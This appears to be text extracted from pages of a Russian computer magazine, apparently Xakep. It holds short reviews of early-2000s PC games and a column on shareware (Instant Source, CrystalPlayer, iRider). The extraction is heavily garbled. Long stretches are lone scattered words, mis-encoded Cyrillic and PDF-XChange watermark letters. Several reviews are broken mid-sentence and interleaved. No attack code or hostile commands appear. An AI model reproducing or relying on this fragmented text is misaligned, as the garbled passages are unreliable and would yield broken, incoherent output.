 

 

 

 

 

 

 

наступления

огромным

 

 

-

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

è

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

аспектом

внимание

Ýòî

ïëþñ

 

 

управляя

разнообразнейших

боевых

 

 

âñåì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

действиях

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мическим

большее на

èãðû

рокомасштабные

врага, ством

 

 

 

 

 

íà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

главный

âî

âîäÿ

åøü

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

военных

 

 

 

 

 

 

 

 

 

 

время

 

обманные

îáî

 

 

 

 

 

 

 

 

 

 

список

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

- -

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

-

 

 

первокла

 

âåð

çà

 

 

 

À ïî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

служащий

òóäà,

 

 

 

 

Íå

сделать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

бесконечных

 

 

 

 

эконо

 

отличается

Òû

 

 

 

òîãî,

 

 

 

 

áû

 

 

 

Viking

 

 

 

 

 

 

 

 

 

 

3D

 

 

 

Ðàç

 

 

 

 

 

 

 

 

 

 

âåñü

густо

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

Assembly/Activision

128(256),

 

 

î

 

тысячелетия

 

игрока

 

 

 

 

 

 

Слетай

освободи

 

 

 

 

 

можно

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

первого

 

 

è

 

 

 

обратно,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âîò

 

 

 

 

 

 

 

 

 

War

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå

 

 

верно

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

заданий

 

 

 

 

 

 

 

 

 

 

 

 

Medieval

 

 

-

 

 

 

 

 

 

 

 

 

 

 

Homeplanet

 

 

 

 

 

 

 

 

другого

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

повествующая

 

 

 

грузят

 

Воторигинальностьюссный

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

Total

 

 

 

 

 

 

 

 

 

 

1200),

èíåò

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñèì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пилот,

конфедерациинись щитидоступныхведьинтереснее

 

Mediaeval:

 

 

военный

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íå

РУЛЕЗ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Invasion

 

Shogun,

 

 

 

350(P3

 

 

 

RTS, войнах работчики

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

3D

 

 

Creative P2

 

LAN,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Урожденная

 

 

Æàíð

 

Похожесть Мать/отец

 

Требует

 

Групповуха

 

Описуха

 

 

 

 

 

ПРИГОВОР

 

 

 

 

 

 

3D

 

 

нынче одном

начинаетничего

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èãð

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ñèì

Ì

128(512),

 

 

симуляторы

 

 

 

 

 

èáî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îá

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

æå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Games/Руссобит

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

потихоньку

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1000),

 

 

 

 

Изобилие

 

 

глаза,

СРЕДНЕ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

HomeplanetКосмическийStarlancer

Revolt P2 ОбломисьКосмическиев и мозолить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

450(P3

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

ìîäå òîì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

УрожденнаяЖанрПохожестьМать/отецТребуетГрупповухаОписуха

 

 

 

 

 

 

ПРИГОВОР

5 Взлом 6 Юниксоид 7

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

w

 

 

to

 

 

 

 

o

Юниты

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

ÇÀË ÑÓÄÀ

Stepan Ilyin aka Step (step@real.xakep.ru)

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Las Vegas Tycoon

 

 

 

 

Экономический

ñèì

 

 

 

 

 

 

 

 

Casino

&

Schuster Interactive

Edgies/Simon

 

 

 

3D

P2-350(P3-500), 64(128),

 

 

 

Обломись

 

 

мы давно не

Такого убожества

 

 

 

÷òî

видели! С трудом верится,

 

известный во всем мире город

можно было реализовать,

êàê áû

 

 

помягче выразиться,

в горстке

 

 

ïî îáå

зданий, расположенных

 

 

 

стороны прямой, как школьная

 

. Оказалось -

 

линейка, дороги

 

 

 

 

-

. Êàê,

впрочем, и отврати

можно

 

 

 

 

âñÿ-

тельную графику, лишенную

ìî-

кого смысла экономическую

 

â ïî-

дель, и невероятный

тупизм

. Стоит

ëè

 

 

 

ведении посетителей

 

 

 

играть? Упаси Боже!

 

 

 

 

ПРИГОВОР

ËÀÆÀ

 

Урожденная Жанр Похожесть Мать/отец

Требует Групповуха Описуха

The Hulk

 

TPS

 

X-Men 2: WR

 

Radical Entertainment/Universal

Interactive

 

P3-600(P3-1000), 192(256), 3D

Обломись

 

Внешне очень симпатичный TPS.

Как это ни удивительно,

íî èã-

рушка наделена весьма неплохим

и логичным

сюжетом, который

 

 

-

довольно резво и непредсказуе

 

 

-

мо развивается по мере прохож

. Графика

и анимация

дения игры

 

 

заслуживает самой высокой

оценки, чего не скажешь о звуке,

который тянет разве что на "тро-

ечку". Да что там говорить, глав-

ное - играть интересно, хотя со

 

 

.

временем надоедает

ПРИГОВОР

ХОРОШО

 

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Remington Big Buck Trophy Hunt Охота

Deer Hunter

Steller Stone/Game Mill Publishing P3-500(P3-1200), 64(128), 3D Обломись

Симулятор охоты со всеми вы-

текающими последствиями. Если смысл других игр этого жанра сводится к бестолковой бе-

ПРИГОВОР

ËÀÆÀ

 

готне по предлагаемой местности в поисках дичи, то в этой игре и такого нет. Твоя задача - добежать до треугольника, подло раскрывающего местонахождение зверушки, и убить ни в

чем не повинное животное. Последнее, кстати, никак не сопротивляется, ибо мозгами его разработчики обделили…

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Restaurant Empire Экономический сим Pizza Connection 2 Enlight Software/Activision Value P3-500(P3-1000), 128(256), 3D

Обломись Изумительный экономический симулятор. Разработчики предлагают заняться невероятно сложным,

но в то же время интересным и

ПРИГОВОР

РУЛЕЗ

прибыльным делом - ресторанным бизнесом. Начиная со сред-

ненькой забегаловки в спальном

районе, тебе предстоит проапгрейдить свой ресторан до элит-

ного заведения, которое может

похвастаться пятью звездочками на красочной неоновой вывеске.

Оригинальная идея и отличная реализация.

Урожденная Жанр Похожесть Мать/отец Требует Групповуха Описуха

Purge Сетевой FPS

Legends of M&M, PlanetSide Freeform Interactive/Tri Synergy

P2-450(P3-750), 128(256), 3D LAN, èíåò

Абсолютно бестолковая смесь

ролевой игры и шутера, причем рассчитанная на online-пользова-

телей. Первое, что бросается в

ПРИГОВОР

СЛАБО

 

глаза - движок трехлетней давности, усовершенствовать который, видимо, и не пытались. Второе - невероятно убогие карты с ужасными текстурами, вызывающие отвращение после де-

сяти минут игры. И третье - невероятно кривой сетевой код, иг-

рать из-за которого невозможно даже на выделенке.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

1

 

2

 

3

 

4

 

94

Ньюсы

Феррум

Inside

PC_Zone

Implant

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Урожденная Жанр

Похожесть Мать/отец Требует Групповуха Описуха

Ghost Master RTS

Dungeon Keeper

Sick Puppies/Empire Interactive P2-450(P3-800), 128(256), 3D Обломись

Разработчики Ghost Master предлагают нам занять весьма и весьма деликатную должность - должность управляющего заг-

ПРИГОВОР

ХОРОШО

 

робным миром. Не думаю, что кто-нибудь устоит перед соблазном и откажется. Ведь управлять десятком призраков - дело занятное и обычному человеку недоступное. До смерти пугать людей, противостоять медиуму и охотникам за привидениями - твоя новая работа. Захватывает не на шутку!

Урожденная

Жанр Похожесть Мать/отец Требует Групповуха Описуха

Roller Coaster Tycoon 2: Wacky

Worlds

 

Тайкун

 

Серия Roller Coaster Tycoon

Chris Sawyer/Infogrames/Infogrames

P2-300(P3-600), 64(128)

 

Обломись

разработ-

Тенденция к деградации

чиков все набирает и набирает

-моему, кульминация

обороты. По

 

ПРИГОВОР

ËÀÆÀ

 

уже не за горами. Объясните мне,

глупому, как можно продавать одну и ту же игру под ТРЕМЯ различными названиями. Ведь RCT, RCT2 и RCT2: Wacky Worlds НИЧЕМ не отличаются! Парочка новых аттракционов, несколько новых ландшафтов

и горстка пестрых одежек посетителей - вот и все, чем может похвастаться этот аддон.

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

to

BUY

NOW!

 

 

Юниты

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

ØàðîWAREZ

M.J.Ash (m.j.ash@real.xakep.ru)

Instant

Source v 1.4

Windows 9x/Me/NT/2k/XP

Size: 315 Kb

Shareware

http://www.blazingtools.com

Пользоваться Internet Explorer'ом противно, но плагины к этой бродилке по-прежнему делают шикарные. В этом месяце меня больше всего порадовала примочка под названием Instant Source. Эта мелюзга, будучи прилепленной к ослику ИЕ, превращает последнего в оригинальный HTML-редактор. При этом навыков правильного отображения веб-страниц бродилка не теряет, просто у программы появляется дополнительное окно, в котором отображается исходный текст текущей странички. Впрочем, согласен, демонстрация исходного текста ВСЕЙ вебстранички - дело нехитрое. Но ведь помимо этого Instant Source может показывать HTML-код выделенного участка страницы или даже какого-то отдельного ее элемента, над которым тебе вздумается остановить курсор своей мыши!!! Надо ли говорить, насколько подобный инструмент облегчает жизнь начинающего веб-дизайнера, когда тот занимается изучением внутреннего устройства чужих работ? Особенно если учесть, что исходники веб-страниц в окне Instant Source отображаются с подсветкой синтаксиса? И что после установки этого плагина у юзера появляется возможность просмотра внешних CSS-файлов и файлов скриптов (*.JS, *.VBS)? М-да… Кажется, этот вопрос явно риторический :).

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

CrystalPlayer v 1.41

Windows 9x/Me/NT/2k/XP

Size: 695 Kb

Shareware

http://www.crystalplayer.com

Редкая вещь - видеоплеер отечественного производства. Мощная прога с оригинальным движком (а не просто красивая оболочка для стандартного компонента ActiveMovie, как это часто бывает). Из основных возможностей стоит отметить поддержку динамических XML-скинов, удобную настройку яркости/насыщенности/контрастности и громкости, поддержку внешних субтитров и плейлистов. Применение самодельного движка позволило разработчику обеспечить быструю работу программы при низких системных требованиях (начиная со старших версий первого пня) и порадовать продвинутого юзера возможностью доступа к огромному числу тонких настроек ядра проигрывателя. Кроме того, CrystalPlayer может похвастаться неплохим набором видеофильтров для улучшения

качества изображения (тоже достаточно быстрых). Одна из специфических особенностей программы - умение проигрывать обрезанные (недокачанные, битые) avi-файлы. Впрочем, ходят слухи, что этому научилась и последняя версия BSPlayer'а (www.bsplayer.org).

Само собой, за полноценную "профессиональную" версию программы автор вполне логично хочет денег (обычная версия распространяется бесплатно). А поскольку на нашем человеке особо не наживешься, то нет ничего удивительного в том, что данный продукт ориентирован, прежде всего, на экспорт. Тем не менее, среди языков интерфейса, поддерживаемых CrystalPlayer'ом, наш великий и могучий все еще присутствует.

iRider v 2.06

Windows 9x/Me/NT/2k/XP

Size: 3210 Kb

Shareware

http://www.irider.com

На редкость эффектный многооконный веб-браузер, построенный на стандартном движке ослика ИЕ. Главная фишечка iRider'а - область предварительного просмотра в виде неширокой колонки, расположенной слева от главного окна браузера. В этой области отображаются уменьшенные изображения всех веб-страниц, открытых или открываемых в настоящий момент. Таким образом, в iRider ход загрузки любой страницы можно контролировать визуально. Да и переключение с одного окна на другое выполняется одним кликом.

Открытие новой страницы в фоновом режиме осуществляется путем нажатия правой кнопки мыши по интересующей тебя ссылке в главном окне. Это действие сопровождается красивым видеоэффектом. Работать таким образом очень удобно - пока ты изучаешь одну страницу, другие подгружаются в фоновом режиме.

Размер изображений в области предпросмотра поддается регулировке. При старте программы происходит автоматическая загрузка заданного набора

страниц. В Favorites сайты могут заноситься целыми подборками - книгами. Favorites Books - это обычная папка, содержащая стандартные закладки Internet Explorer. Однако iRider открывает сразу все сайты, указанные в такой вот "книге". Вполне логично организована в этой проге и работа с поисковыми системами: формулируешь запрос, отмечаешь галочками поисковые системы, которые необходимо опросить (а iRider'у их известно приличное количество), нажимаешь "Search", и в браузере открывается сразу несколько окон с ответами выбранных поисковиков на твой запрос.

78

Соседние файлы в папке журнал хакер